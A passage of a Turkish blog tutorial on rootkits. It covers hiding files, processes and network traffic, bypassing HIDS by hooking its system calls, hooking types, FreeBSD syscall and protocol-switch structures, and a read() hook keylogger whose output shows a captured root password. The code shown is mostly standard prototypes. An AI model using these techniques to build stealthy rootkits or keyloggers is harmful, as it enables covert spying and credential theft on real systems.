<p>Bunu yapan basit bir <strong>Rootkit</strong> geliştirmiştim <a href="https://blacknbunny.github.io/2019/05/07/linux-system-call-hooking.html">Linux System Call Hooking</a> adlı yazımda.</p>
</li>
<li>
<p>Bir <strong>Rootkit</strong> ayrıca <strong>İşletim Sistemi</strong>‘nin <strong>Kaynak Kod</strong>‘unu değiştirebildiğinden kendini normal bir <strong>Kullanıcı</strong>‘nın ulaşamayacağı bir yere ekleyebilmektedir. Daha da basit şekilde <strong>Filesystem</strong>‘imizden yani <strong>Dosya Sistemi</strong>‘mizden farklı bir noktada çalıştırabilir kendisini.</p>
</li>
<li>
<p><strong>Sistem Çağrıları</strong>‘nı değiştirip <strong>İşletim Sistem</strong>‘i içerisinde <strong>Kullanılan Portları</strong> göstermekte kullanılan <strong>Komut</strong>‘ları manipule edip kendini gizleyebilmektedir.</p>
</li>
<li>
<p>Ayrıca bir <strong>Rootkit</strong> çalıştığı <strong>Process</strong>‘i bu <strong>Process</strong>‘leri göstermekte kullanılan <strong>Yazılımlar</strong>‘dan kendini gizleyebilmektedir.</p>
</li>
<li>
<p>Tabi bunlar bir kaç tanesi. Bir <strong>Rootkit</strong>‘in kendini gizlemesi için gerçekleştirebileceği senaryolar çok fazla.</p>
</li>
</ul>
<h3 id="hids-nedir-">HIDS Nedir ?</h3>
<p>Şimdi diyebilirsiniz ki babacım sen bana <strong>Rootkit</strong> yazmasını göster <strong>HIDS</strong> ne ya geç bunları. Yalnız <strong>Rootkit</strong> çok genel bir terim dolayısıyla içerdiği çoğu konuya değinmek istiyorum bu yazımda. Zaten <strong>Part 2</strong>‘de çok çok daha derine inip kendi <strong>Rootkit</strong>‘imizi bile geliştirebiliriz.</p>
<p>O yüzden bunları bilmek ileride çok yarayacaktır.</p>
<p><img src="https://resmim.net/f/yF2AMg.png" alt="" /></p>
<p>Açılımı <strong>Host-based Instrusion Detection System</strong> olan <strong>HIDS</strong> genel olarak <strong>Modification</strong>‘ları <strong>Filesystem</strong>‘de bulunan <strong>Dosya</strong>‘lara kayıt edip göndermektedir.</p>
<p>Daha da basit bir şekilde her bir dosyanın <strong>Hash</strong>‘ini kendi <strong>Veritabanı</strong>‘nda tutup belli bir süre aralığında bu dosyaları eskiden kayıt altına aldığı <strong>Hash</strong>‘ler ile karşılaştırıp bir dosya içerisinde <strong>Değişiklik</strong> oldu mu olmadı mı onu bulmak için vardır.</p>
<p>Bunu anlatmamın sebebi ileride biz bir <strong>dosya</strong> gizlemek istersek bu dosya üzerinde değişiklik yaptığımızı <strong>HIDS</strong> anlayıp bunu engelleyecektir dolayısıylada <strong>Rootkit</strong>‘imiz <strong>Çalışmak</strong>‘ta sıkıntı çekecektir.</p>
<p>Tabi bununda <strong>Bypass</strong> yöntemi mevcut.</p>
<h3 id="hidsler-nasıl-bypass-edilir">HIDS’ler nasıl bypass edilir?</h3>
<p>Bu da işin komik tarafı.</p>
<p><strong>API Hooking</strong>‘i engellemeye çalışırken kendisi <strong>System API</strong>‘sini kullanıyor…</p>
<p>Hani dedik ya <strong>Dosya</strong>‘larda gerçekleşen değişiklikleri <strong>Hash</strong> karşılaştırması ile buluyor.</p>
<p>İyi güzel kardeşim buluyorsunda benim sorum <strong>Kendine</strong> niye bakmıyorsun.</p>
<p><strong>HIDS</strong>‘leri <strong>Bypass</strong> etmek için içerisinde kullandığı <strong>Sistem Çağrıları</strong>‘nı <strong>Hook</strong> edip çalışma şeklini değiştirebiliriz.</p>
<p>Bu şekilde bu <strong>Yazılım</strong> bizim istediğimiz şekilde çalışacaktır.</p>
<p>Ve <strong>Yazılım</strong>‘a bu <strong>Dosya</strong>‘yı ya da şu <strong>Hash</strong>‘i karşılaştırma diyebileceğiz.</p>
<p><strong>HIDS</strong>‘i kullanmakta olan bir sürü yazılım mevcut <strong>Monitoring</strong> için.</p>
<p>Bu yazılımlardan sistem içerisinde bir <strong>Rootkit</strong> mevcut olduğunu karşı tarafın anlamasını engellemek için bu tür <strong>Yazılım</strong>‘lar içerisinde değişiklik yapmamız gerekmekte.</p>
<h1 id="logging-tracing-hooking-nedir-">Logging, Tracing, Hooking Nedir ?</h1>
<p>Alttaki sıralamada bunların açıklamasını bulabilirsiniz :</p>
<ul>
<li><strong>Logging</strong>
<ul>
<li>Adından da anlaşılabileceği gibi <strong>Kayıt Tutmak</strong>‘tır. Yalnız biz <strong>Rootkit</strong>‘ler ile <strong>Yasal</strong> yoldan değil <strong>Yasadışı</strong> yoldan kayıt tutmaktayız. Dolayısıyla bir <strong>Rootkit</strong>‘in içerisinde olmazsa olmazlardan biri <strong>Kayıt Tutma</strong> işlemidir. Bu <strong>Kayıt Tutma</strong> işlemi <strong>Kurban</strong>‘dan alabildiğimiz tüm herşey dahildir. Örneğin <strong>Dosyalar</strong>, <strong>Internet Bilgisi</strong>, <strong>Internet Istekleri</strong> vs…</li>
</ul>
</li>
<li><strong>Tracing</strong>
<ul>
<li><strong>Rootkit</strong>‘ler tarafından kullanılan <strong>Basit</strong> bir <strong>Debugging</strong> işlemidir.</li>
<li><strong>Yazılım</strong> tarafından gerçekleştirilen her bir <strong>Kernel Operasyon</strong>‘unu kayıt altına almak denilebilir buna kısaca. <strong>Kernel Operasyon</strong>‘larından bazıları :
<ul>
<li><strong>System Call</strong></li>
<li><strong>I/O</strong></li>
<li><strong>Signals</strong></li>
</ul>
</li>
<li>Yukarıdaki listede bulunan <strong>Operasyon</strong>‘ları bir <strong>Rootkit Trace</strong> ederek gözlemleyebilmektedir. Dolayısıyla <strong>Yazılım</strong>‘ın nasıl çalıştığını bu şekilde izleyebilmektedir.</li>
</ul>
</li>
<li><strong>Hooking</strong>
<ul>
<li>Türkçe meali ile <strong>Kancalama</strong> denilebilir. Bir <strong>Sistem Çağrısı</strong>‘nı <strong>Kancalamak</strong> basit bir şekilde o <strong>Sistem Çağrısı</strong>‘nın yerine kendi oluşturduğumuz <strong>Sistem Çağrısı</strong>‘nı koyup <strong>Manipule</strong> etmektir.</li>
</ul>
</li>
</ul>
<h2 id="hooking-türleri-nelerdir-">Hooking Türleri Nelerdir ?</h2>
<p>Basit bir şekilde <strong>Hooking Türleri</strong>‘ni aşşağıda sıraladım.</p>
<ul>
<li><strong>API Hooking</strong>
<ul>
<li><strong>API Hooking</strong> kullanılan <strong>İşletim Sistemi</strong>‘nin <strong>API</strong>‘sinde ki <strong>Fonksiyon</strong>‘ları ya da <strong>Kütüphane</strong>‘leri <strong>Kancalamaktır</strong>.</li>
<li>Basit bir şekilde aşşağıdaki resim <strong>Windows API</strong>‘sinin <strong>user32.dll</strong>‘ini hook ediyor :
<ul>
<li><img src="https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/APIhook-2-04222014.gif" alt="" /></li>
</ul>
</li>
</ul>
</li>
<li><strong>IAT Hooking</strong>
<ul>
<li><strong>Import Address Table Hooking</strong>‘e değinecek olursak şayet. <strong>Portable Executable</strong> yani <strong>Çalıştırılabilir Dosya</strong> içerisinde bulunan <strong>Import Address Table</strong>‘yi <strong>Kancalamak</strong>‘tır. Daha da basit bir şekilde :</li>
<li><strong>IAT</strong> içerisinden <strong>Hook</strong> edeceğimiz <strong>Fonksiyon</strong>‘u bulduktan sonra bu <strong>Fonksiyon</strong>‘un adresini bizim yazdığımız <strong>Fonksiyon</strong>‘un adresi ile değiştirmektir.</li>
<li><strong>IAT</strong> basit bir şekilde <strong>PE Header</strong>‘i içerisinden bulunabilir. Aşağıda ki resim bunu daha da basit bir şekilde sizlere özetlemektedir.
<ul>
<li><img src="https://resmim.net/f/jlrKbw.png" alt="" /></li>
</ul>
</li>
</ul>
</li>
<li><strong>Function Hooking</strong>
<ul>
<li>Belirlediğimiz <strong>Yazılım</strong>‘ın içerisinde ki <strong>Fonksiyon</strong>‘u oluşturduğumuz sahte <strong>Kütüphane</strong>‘yi içerisine <strong>Load-Time</strong> ya da <strong>Run-Time</strong> zamanında sahte <strong>Fonksiyon</strong>‘umuz ile değiştirmektir.</li>
<li>Bir önceki blog yazımda bunu anlattım bkz : <a href="https://blacknbunny.github.io/2019/04/14/Linux-Function-Hooking.html">Linux Function Hooking</a></li>
</ul>
</li>
<li><strong>System Call Hooking</strong>
<ul>
<li>Belirlediğimiz <strong>Yazılım</strong>‘ın içerisinde bulunan asıl <strong>Sistem Çağrısı</strong> ile sahte <strong>Sistem Çağrımızı</strong> değiştirmek denilebilir.</li>
<li>Bunuda anlattığım blog yazıma sizleri alalım : <a href="https://blacknbunny.github.io/2019/05/07/linux-system-call-hooking.html">Linux System Call Hooking</a></li>
</ul>
</li>
</ul>
<h3 id="system-calls">System Calls</h3>
<p>Bunlara basit bir şekilde <strong>Sistem Servis İstek</strong>‘leri diyebiliriz.</p>
<p>Daha da basitleştirirsek <strong>İşletim Sistemi</strong>‘ne özel <strong>Çağrılar</strong> yani <strong>Fonksiyonlar</strong> diyebiliriz.</p>
<p>Sistem çağrıları <strong>Kernel</strong> versiyonuna göre değişsede basit bir şekilde bir kaç tane stabil <strong>Linux Sistem Çağrısı</strong> aşağıdaki resimde bulunabilir :</p>
<p><img src="https://resmim.net/f/IzD89k.png" alt="" /></p>
<p>Bu resimi aldığım web sayfası çoğu <strong>Sistem Çağrısı</strong>‘nı içermektedir bakmak isteyenleriniz olursa : <a href="http://asm.sourceforge.net/syscall.html">Syscall List</a></p>
<h4 id="hooking-system-call">Hooking System Call</h4>
<p>Bir sistem çağrısını <strong>Hook</strong> etmek için basit bir şekilde o <strong>Sistem Çağrısı</strong>‘nın bir sahtesini oluşturup yerini değiştirmemiz gerekmektedir.</p>
<p>Yukarıda daha önce yazdığım blog yazılarında bu kısmı daha detaylı anlattım okumayanlarınız varsa.</p>
<h4 id="system-call-modules">System Call Modules</h4>
<p><strong>Sistem Çağrısı Modül</strong>‘leri basit bir şekilde <strong>KLD</strong>‘lerdir. <strong>İşletim Sistem</strong>‘lerinde <strong>Sistem Çağrı</strong>‘ları <strong>Sistem Servis İstekleri</strong>‘dir. Basit bir şekilde <strong>Kernel</strong>‘den yani <strong>Çekirdek</strong>‘ten bir <strong>Yazılım</strong>‘ın <strong>İstek</strong>‘te bulunmak için kullandığı bir <strong>Mekanizma</strong>‘dır.</p>
<p>Her <strong>Sistem Çağrı Modülü</strong> için 3 ayrı öğe vardır. Bunlar <strong>System Call Function</strong>, <strong>sysent structure</strong>, <strong>offset value</strong>‘den oluşmaktadır.</p>
<h4 id="system-call-function">System Call Function</h4>
<p><strong><sys/sysent.h></strong> içerisinde <strong>Prototip</strong>‘i bulunan bir <strong>Fonksiyon</strong>‘dur bu</p>
<p><strong>Parametre</strong>‘leri ve <strong>Tip</strong>‘i yukarıda bahsettiğimiz <strong>sysent.h</strong> başlık içerisinde şu şekildedir :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>typedef int sy_call_t(struct thread *, void *);
</code></pre></div></div>
<p><strong>thread</strong> parametresi çalışmakta olan <strong>Thread</strong>‘i <strong>Point</strong> etmektedir.</p>
<p><strong>void</strong> ise belirtilecek <strong>Sistem Çağrı</strong>‘sının <strong>Argüman Yapısı</strong>‘nı <strong>Point</strong> yani <strong>İşaret</strong> etmektedir.</p>
<p>Basit bir şekilde bu <strong>Fonksiyon</strong>‘un <strong>Örnek</strong> kullanımı aşşağıdaki gibidir :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct sc_example_args {
char *str;
};
static int
sc_example(struct thread *td, void *syscall_args){
struct sc_example_args *uap;
uap = (struct sc_example_args *)syscall_args;
printf("%s\n", uap->str);
return(0);
}
</code></pre></div></div>
<p>Bu örnek kısaca bir <strong>Argüman</strong> alıp bunu <strong>Sistem Konsol</strong>‘una <strong>Output</strong> ediyor ve <strong>printf</strong> aracılığıyla bunu dışarıya yazdırıyor.</p>
<p><strong>Sistem Çağrısı Fonksiyon</strong>‘ları <strong>Kernel</strong> içerisinde <strong>Alan</strong> ayırarak işleme geçerler.</p>
<p>Ayrıca bu çağrılar genellik ile <strong>User Space</strong> ve <strong>Kernel Space</strong> içerisinde <strong>İstek</strong> beklerler.</p>
<p><strong>User Space</strong> içerisinde <strong>User-mode application</strong>‘lar çalışmakta olduğu için bu <strong>Application</strong>‘lar <strong>User Space</strong> içerisinden sistem çağrılarını alırlar.</p>
<p><strong>Kernel Space</strong> içerisinde de <strong>LKM</strong>‘ler gibi <strong>Kernel Modül</strong>‘leri çalışmakta olduğundan bu modüllerde <strong>Kernel-mode application</strong>‘lar sayılır ve bu <strong>Application</strong>‘lar <strong>Sistem Çağrı</strong>‘ları için <strong>Kernel</strong>‘den <strong>İstek</strong>‘te bulunur.</p>
<h4 id="sysent-structure">sysent structure</h4>
<p><strong>Sistem Çağrı</strong>‘ları basit bir şekilde <strong>Entry</strong>‘leri ile bir <strong>sysent</strong> yapısının içerisinde belirtilirler. Ve aşşağıdaki şekilde <strong><sys/sysent.h></strong> başlığı içerisinde belirtilmiştir bu <strong>Structure</strong> yani <strong>Yapı</strong>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct sysent {
int sy_narg; /* argüman sayısı */
sy_call_t *sy_call; /* sistem çağrısı yada fonksiyon ismi*/
au_event_t sy_auevent; /* sistem çağrısı ile ilişkili denetim durumu */
};
</code></pre></div></div>
<p>Örnek bir <strong>Sistem Çağrısı</strong>‘nın bu <strong>Yapı</strong> içerisinde belirtilmesi :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>static struct sysent sc_example_sysent = {
1, /* argüman sayısı */
sc_ornek /* sistem çağrısı yada fonksiyon ismi */
}
</code></pre></div></div>
<p>Basit bir şekilde içinde <strong>Sistem Çağrı</strong>‘larını barındıran bir <strong>Array</strong> diyebiliriz buna <strong>sysent[]</strong>.</p>
<h4 id="offset-value">Offset Value</h4>
<p><strong>Sistem Çağrı</strong>‘sının <strong>Sayısı</strong> olarak bilinmektedir.</p>
<p>Benzersiz <strong>0</strong> ile <strong>456</strong> arasında her bir <strong>Sistem Çağrı</strong>‘sının kendine özgü bir sayısı mevcuttur.</p>
<p><strong>offset</strong> değerini <strong>NO_SYSCALL</strong> ile değiştirirsek <strong>sysent</strong> içerisinde ileride bulunan ve kullanılmayan <strong>offset</strong>‘e geçiş yaparız oluşturduğumuz yada kullanacağımız <strong>Sistem Çağrı</strong>‘sı ile.</p>
<p>Örnek :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>static int offset = NO_SYSCALL;
</code></pre></div></div>
<h4 id="modfind-function">modfind Function</h4>
<p>Bir <strong>Kernel Modülü</strong>‘nü bulmak için kullanılan <strong>Fonksiyon</strong>‘dur.</p>
<p>Örnek :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <sys/param.h>
#include <sys/module.h>
int
modfind(const char *modname);
</code></pre></div></div>
<h4 id="modstat-function">modstat Function</h4>
<p>Bir <strong>Kernel Modülü</strong>‘nün <strong>Status</strong>‘ünü yani <strong>Durumu</strong>‘nu döndüren <strong>Fonksiyon</strong>‘dur.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <sys/param.h>
#include <sys/module.h>
int
modstat(int modid, struct module_stat *stat);
</code></pre></div></div>
<p>Dönecek bilgi <strong>stat</strong> argüman’ı içerisinde tutulmaktadır. Bu argüman <strong><sys/module.h></strong> başlığında belirtilmiştir.</p>
<h4 id="syscall-function">syscall Function</h4>
<p>Bir <strong>Sistem Çağrı</strong>‘sını çağırmak için kullanılan bir <strong>Fonksiyon</strong>‘dur.</p>
<p>Bunuda <strong>Sistem Çağrı</strong>‘sının <strong>Offset Value</strong>‘sini alarak o çağrıyı çalıştırır.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <sys/syscall.h>
#include <unistd.h>
int
syscall(int number, ...);
</code></pre></div></div>
<p>Yani <strong>Sistem Çağrı</strong>‘sının sayısını <strong>syscall function</strong>‘una verdiğimizde o <strong>Sistem Çağrısını</strong> çalıştırır.</p>
<h3 id="network-connections">Network Connections</h3>
<p>Bir <strong>Rootkit</strong>‘in <strong>Internet</strong> altında gerçekleştirdiklerini sırayla altta yazmış bulunmaktayım.</p>
<ul>
<li>Bir <strong>Rootkit</strong> çalışma sırasında kendini <strong>Internet</strong> içerisinde gizlemek için <strong>Wireshark</strong>‘ın kullandığı <strong>Sistem Çağrı</strong>‘ları ile oynayıp <strong>TCP</strong>, <strong>UDP</strong> vs.. gibi <strong>Internet Protokol</strong>‘lerinde kendini gizleyebilmektedir. Dolayısıyla <strong>Rootkit</strong>‘in gerçekleştirdiği <strong>Request</strong>‘ler <strong>Rootkit</strong> tarafından gizlenebilmektedir.</li>
<li><strong>Wireshark</strong> bir örnekti başka bir örnek olarak <strong>Linux</strong> içerisinde gerçekleşen ağ izleme için kullanılmakta olan <strong>Yazılım</strong>‘lardan kendini gizleyebildiği için sistem içerisinde %100 gizlilik elde edebilmektedir.</li>
<li><strong>Rootkit</strong> geliştirmek sadece akılda oluşturulabilecek senaryolarla sınırlıdır. Yani eğer siz bu <strong>Rootkit</strong>‘i sistem içerisinde bir dosya olmaktan yada bir <strong>DNS Sunucu</strong>‘suna <strong>Request</strong> attığında bu <strong>Request</strong>‘i gizlemek bir senaryo olabilir. Dolayısıyla sistem içerisinde yapabileceğiniz tüm değişim, etkileşim aklımızda bitmektedir.</li>
<li>Sistem içerisinde kullanılan <strong>TCP</strong>, <strong>UDP</strong>, <strong>ICMP</strong> protokolleri bir <strong>Rootkit</strong> tarafından düzenlenebilmektedir.</li>
<li>Bir <strong>DNS Yazılım</strong>‘ının kullandığı <strong>Sistem Çağrısı</strong> bir <strong>Rootkit</strong> tarafından düzenlenebildiği için o <strong>Yazılım</strong> içerisinde kayıt altında tutulan <strong>DNS Request Log</strong>‘larından <strong>Rootkit</strong> kendi attığı <strong>DNS Request</strong>‘lerini yani <strong>DNS İstek</strong>‘lerini gizleyebilmektedir.</li>
</ul>
<p><img src="https://resmim.net/f/edv0td.jpg" alt="" /></p>
<p><strong>Sistem Çağrıları</strong>, <strong>Sürücüler</strong>, <strong>Diskler</strong> bunların hepsi içerisinde <strong>Sistem</strong>‘den <strong>Çağrı</strong> yani <strong>Fonksiyon</strong> isteğinde bulunduğundan bunlar <strong>Rootkit</strong> tarafından düzenlenebilmektedir.</p>
<p>Bir senaryo olması açısından <strong>Router</strong>‘imizin sunucusuna ulaşılırsa şayet içerisine eklenilebilecek bir <strong>Rootkit</strong> ile <strong>ISP</strong> arasında <strong>Giden, Gelen</strong> izlenilebilir.</p>
<p><strong>Rootkit</strong>‘lerin <strong>Backdoor</strong> alması için birçok yol mevcut olmasına rağmen genellik ile <strong>Rootkit</strong>‘ler kendi içerisinde en azından aldığı bir <strong>Reverse Shell</strong>‘in bile beklemede olduğu <strong>IP:PORT</strong> adreslerini gizleyebilmektedir.</p>
<h3 id="processes">Processes</h3>
<p><strong>Rootkit</strong>‘in <strong>İnternet</strong> içinde gizlenmesinin yanı sıra kendini gizlediği alanlardan biride <strong>Process</strong>‘lerdir. Örneğin <strong>Windows</strong>‘ta <strong>Görev Yöneticisi</strong>‘ni açtığınızda orada <strong>explorer.exe</strong>‘yi görebilirsiniz.</p>
<p>Bu <strong>explorer.exe</strong> bir <strong>Rootkit</strong> olsaydı şayet onu orada göremezdiniz sebebide <strong>Görev Yöneticisi</strong> bile <strong>Sistem Çağrı</strong>‘larını kullanmaktadır.</p>
<p><strong>Rootkit</strong> kendini gizleyebildiği gibi bu gizlenmeninde ortaya çıkması için kullanılan methodlar vardır.</p>
<p>Örneğin <strong>Process Hacker</strong> yazılımı içerisinde <strong>Gizlenmiş Process</strong>‘leri bulmak mümkün.</p>
<p><img src="https://resmim.net/f/mkuzbs.jpg" alt="" /></p>
<p>Tabi bu <strong>Gizlenmiş Process</strong>‘i bulmak için kullanılan methodlarında yapısını tersine kullanan methodlar mevcut.</p>
<p>Dolayısı ile hep bir kaçış dönüyor <strong>Rootkit</strong> kelimesinin derinlerinde.</p>
<h3 id="bsd-communication-protocols">BSD Communication Protocols</h3>
<p>İsimdende anlaşılabileceği gibi <strong>BSD İletişim Protokolleri</strong>.</p>
<p>Bu <strong>İletişim Protokolleri</strong> kurallardan oluşmuştur ve iki <strong>İletişim</strong> halinde olan <strong>İşlem</strong> tarafından kullanılır.</p>
<p>Buna bir örnek olması için <strong>( TCP/IP Protocol )</strong> öne çıkarılabilir.</p>
<p><strong>FreeBSD</strong> içerisinde bir <strong>İletişim Protokol</strong>‘u <strong>Protocol Switch Table</strong> yani <strong>protosw[]</strong> içerisinde <strong>Kayıt</strong>‘ları ile tanımlanır.</p>
<p>Bu <strong>Kayıtlar</strong> düzenlenebildiği için <strong>Rootkit</strong> bunun karşısında eli boş kalmamaktadır.</p>
<p><img src="https://resmim.net/f/YdCqXV.jpg" alt="" /></p>
<p>Ve bu sayede bir <strong>Rootkit</strong>‘in birçok <strong>Network Layer</strong>‘ini <strong>Manipule</strong> etmesi mümkün.</p>
<p><strong>Communication Endpoint</strong> tarafından <strong>Gönderilen</strong> ve <strong>Alınan</strong> istekleri bir <strong>Rootkit</strong> düzenleyebilmektedir.</p>
<h4 id="protosw-structure">protosw Structure</h4>
<p>Her bir <strong>Protocol Swich Table</strong> kayıdı <strong>protosw</strong> yapısının içerisinde tutulur.</p>
<p>Bu <strong>Structure</strong>‘in yani <strong>Yapı</strong>‘nın kaynak kodları <code class="language-plaintext highlighter-rouge"><sys/protosw.h></code> başlık dosyasında bulunmaktadır.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct protosw {
short pr_type; /* socket tipi */
struct domain *pr_domain; /* domain protokolü */
short pr_protocol; /* protokol numarası */
short pr_flags;/* protokol hookları */
pr_input_t *pr_input; /* protokol için input */
pr_output_t *pr_output; /* protokol için output */
pr_ctlinput_t *pr_ctlinput; /* control input */
pr_ctloutput_t *pr_ctloutput; /* control output */
pr_usrreq_t *pr_ousrreq;/* utility hookları*/
pr_init_t *pr_init; pr_fasttimo_t *pr_fasttimo; /* hızlı timeout(200 ms)*/
pr_slowtimo_t *pr_slowtimo; /* yavaş timeout(500 ms) */
pr_drain_t *pr_drain; /* mümkün olan fazlalıkları boşaltmak için */
struct pr_usrreqs *pr_usrreqs; /* supersedes pr_usrreq() */
};
</code></pre></div></div>
<p>Örneğin yukarıdaki <strong>Structure</strong>‘yi bir <strong>Rootkit</strong> çok basit bir şekilde <strong>Manipule</strong> edebilmektedir yani düzenleyebilmektedir.</p>
<h4 id="inetsw-switch-table">inetsw[] Switch Table</h4>
<p>Her bir <strong>İletişim Protokol</strong>‘unun <strong>protosw</strong> yapısı <code class="language-plaintext highlighter-rouge">/sys/netinet/in_proto.c</code> dosyasında belirlenmiştir. Bu dosyadan bir parça :</p>
<p><img src="https://resmim.net/f/DMcOWo.jpg" alt="" />
<img src="https://resmim.net/f/tRVlcZ.jpg" alt="" /></p>
<p>Bir <strong>Rootkit</strong>‘in <strong>İletişim Protokol</strong>‘leri ile manipulasyon senaryosuna girmemesi için hiçbir neden yok.</p>
<p>Düzenlemeler sonucunda <strong>Protokol</strong> değişimleri incelenebilir olucaktır.</p>
<p>Tabi bu değişiklikleri farkeden bazı <strong>Yazılım</strong>‘lar mevcut olduğundan o <strong>Yazılım</strong>‘ları atlatmanın yollarıda mevcuttur.</p>
<h4 id="mbuf-structure">mbuf Structure</h4>
<p><strong>Veri ve Kontrol Bilgisi</strong> denilebilir kısaca <strong>mbuf</strong> yapısına.</p>
<p>Aynı zamanda <strong>Network Data</strong> yani <strong>Ağ Verisi</strong> için bir <strong>Memory Buffer</strong> yani <strong>Ara Bellek</strong>‘tir.</p>
<p>Aşşağıdaki resimde bu <strong>Yapı</strong>‘nın içeriklerini görebiliriz.</p>
<p><img src="https://resmim.net/f/Lcus10.jpg" alt="" /></p>
<p>İki <strong>Communation Process</strong> içerisinde geçen <strong>Veri</strong> ve <strong>Kontrol</strong> bilgisi bu <strong>Yapı</strong> yani <strong>Structure</strong> içerisinde tutulur.</p>
<p>Bu <strong>Structure</strong> yani <strong>Yapı</strong> <code class="language-plaintext highlighter-rouge"><sys/mbuf.h></code> başlık dosyası içerisinde tanımlanmıştır.</p>
<p>Bu <strong>Veri</strong>‘yi <strong>Okumak</strong> ya da <strong>Düzenlemek</strong> için <strong>mbuf Structure</strong> içerisinde bilmemiz gereken iki alan mevcuttur.</p>
<ol>
<li><strong>m_len</strong>
<ul>
<li>Bu alan <strong>mbuf</strong> içerisinde yer alan <strong>*Veri Miktarı</strong>‘nı tutmaktadır.</li>
</ul>
</li>
<li><strong>m_data</strong>
<ul>
<li>Bu alan <strong>mbuf</strong> içerisinde bulunan <strong>Veri</strong>‘yi tutar.</li>
</ul>
</li>
</ol>
<p>Aynı zamanda bir <strong>Rootkit</strong> içerisinde <strong>Communication Protocol</strong>‘unu <strong>Hook</strong> etmek istersek bakmamız gereken ilk <strong>Structure</strong>‘den biridir <strong>mbuf</strong>.</p>
<p>Yani daha da basit şekilde bir <strong>Rootkit</strong> istediği <strong>İletişim Protokol</strong>‘u üzerinde değişiklik yapabilir yada bu <strong>İletişim Protokol</strong>‘unun kullanıldığı yerdeki <strong>Veri</strong> akışını <strong>Okuyabilir</strong> ya da <strong>Düzenleyebilir</strong>.</p>
<h2 id="kernel-process-tracing-nedir-">Kernel Process Tracing Nedir ?</h2>
<p>Basit bir şekilde <strong>Kernel</strong> izleme ve hata ayıklama tekniğidir.</p>
<p><strong>Kernel Operasyon</strong>‘larına aşşağıdaki listede yazanları uygulayabiliriz.</p>
<ul>
<li><strong>Kayıt Altında Tutmak ( Logging )</strong></li>
<li><strong>İzlemek, yolunu kesmek ( Intercept )</strong></li>
<li><strong>Ayıklamak ( Debugging )</strong></li>
</ul>
<p>Ftrace ile <strong>Kernel</strong>‘i debug edip bunu yazıya döken bir ingiliz arkadaşımız : <a href="https://jvns.ca/blog/2017/03/19/getting-started-with-ftrace/">Debugging the kernel using Ftrace </a></p>
<p>Bir <strong>Rootkit</strong>‘in bu işlemi gerçekleştirmesinin sebebi musallat olacağı <strong>Yazılım</strong> varsa şayet o <strong>Yazılım</strong>‘ın kullandığı <strong>Sistem Çağrı</strong>‘larını bulup onlar için birer <strong>Hook</strong> yazmaktır.</p>
<p><img src="https://resmim.net/f/TltHyI.jpg" alt="" /></p>
<p>Daha önceki yazımda <strong>getdirents</strong> sistem çağrısını <strong>Hook</strong> edip <strong>ls</strong> komutundan <strong>Dosya Gizleme</strong>‘yi anlatmıştım. Ve küçük bir <strong>Rootkit</strong> yazmıştık o yazımda. Eğer okumadıysanız bu yazıyı okumaya başlamadan önce aşşağıda listelediğim yazılarımı okuyun lütfen.</p>
<p>Çünkü bu yazıda çok <strong>Teknik</strong> detaya girmesemde bazılarımıza çok <strong>Teknik</strong> gelebilir o yüzden <strong>0</strong>‘dan başlaması onun için iyi olacaktır.</p>
<p>Yazılarım :</p>
<ul>
<li><a href="https://blacknbunny.github.io/2019/04/22/loadable-kernel-module.html">LKM Development</a></li>
<li><a href="https://blacknbunny.github.io/2019/04/14/Linux-Function-Hooking.html">Linux Function Hooking</a></li>
<li><a href="https://blacknbunny.github.io/2019/05/07/linux-system-call-hooking.html">Linux System Call Hooking</a></li>
</ul>
<h2 id="keystroke-logging">Keystroke Logging</h2>
<p>Basit bir şekilde <strong>Sistem Çağrı</strong>‘sını <strong>Hook</strong> ederek <strong>Klavye</strong>‘de basılan tuşların kayıtlarını tutabiliriz.</p>
<p>Örneğin <strong>read</strong> sistem çağrısını <strong>Hook</strong> ederek bu işe başlayabiliriz.</p>
<p>Bu <strong>Sistem Çağrı</strong>‘sının <strong>C Library</strong> hali şöyle :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
ssize_t
read(int fd, void *buf, size_t nbytes);
</code></pre></div></div>
<p>Bu <strong>Sistem Çağrı</strong>‘sını kendi yazdığımız <strong>Sahte Sistem Çağrı</strong>‘sı ile değiştirirsek şayet ne zaman <strong>read</strong> sistem çağrısı kullanılsa kullanıldığı yeri kaydet diyebiliriz <strong>Rootkit</strong>‘imize.</p>
<p><strong>read</strong> sistem çağrısı <strong>nbytes</strong> kısmından <strong>Veri</strong>‘yi alıp bunu <strong>buf</strong> parametresine gönderir.</p>
<p>Bir <strong>Klavye Tuş Vuruşu</strong>‘nu yakalamak için <strong>buf</strong> parametresinin <strong>İçeriğini</strong> kaydetmemiz gerekmektedir. Ne zaman <strong>fd</strong> parametresi <strong>Standart Input</strong>‘a işaret eder örneğin (file descriptor 0) o zaman <strong>Klavye Tuş Vuruş</strong>‘larını yakalayabiliriz demektir.</p>
<p>Aşşağıdaki <strong>Kaynak Kod</strong>‘u <strong>read</strong> sistem çağrısını <strong>Hook</strong> edip <strong>Klavye Tuş Vuruş</strong>‘larını <strong>Kernel</strong> içerisinde kaydetmek için yazılmıştır.</p>
<p><strong>read Sistem Çağrısı Hook</strong> : <a href="https://pastebin.com/9hGXGtKL">Pastebin</a></p>
<p>Bu <strong>Hook</strong>‘u sisteme <strong>Load</strong> ettikten yani <strong>Yükledik</strong>‘ten sonra son durum :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>login: root
Password:
Last login: Mon Feb 9 00:15:22 on ttyv2
root@vvmnx ~# dmesg | tail -n 32
r
o
o
t
s
i
f
r
e
</code></pre></div></div>
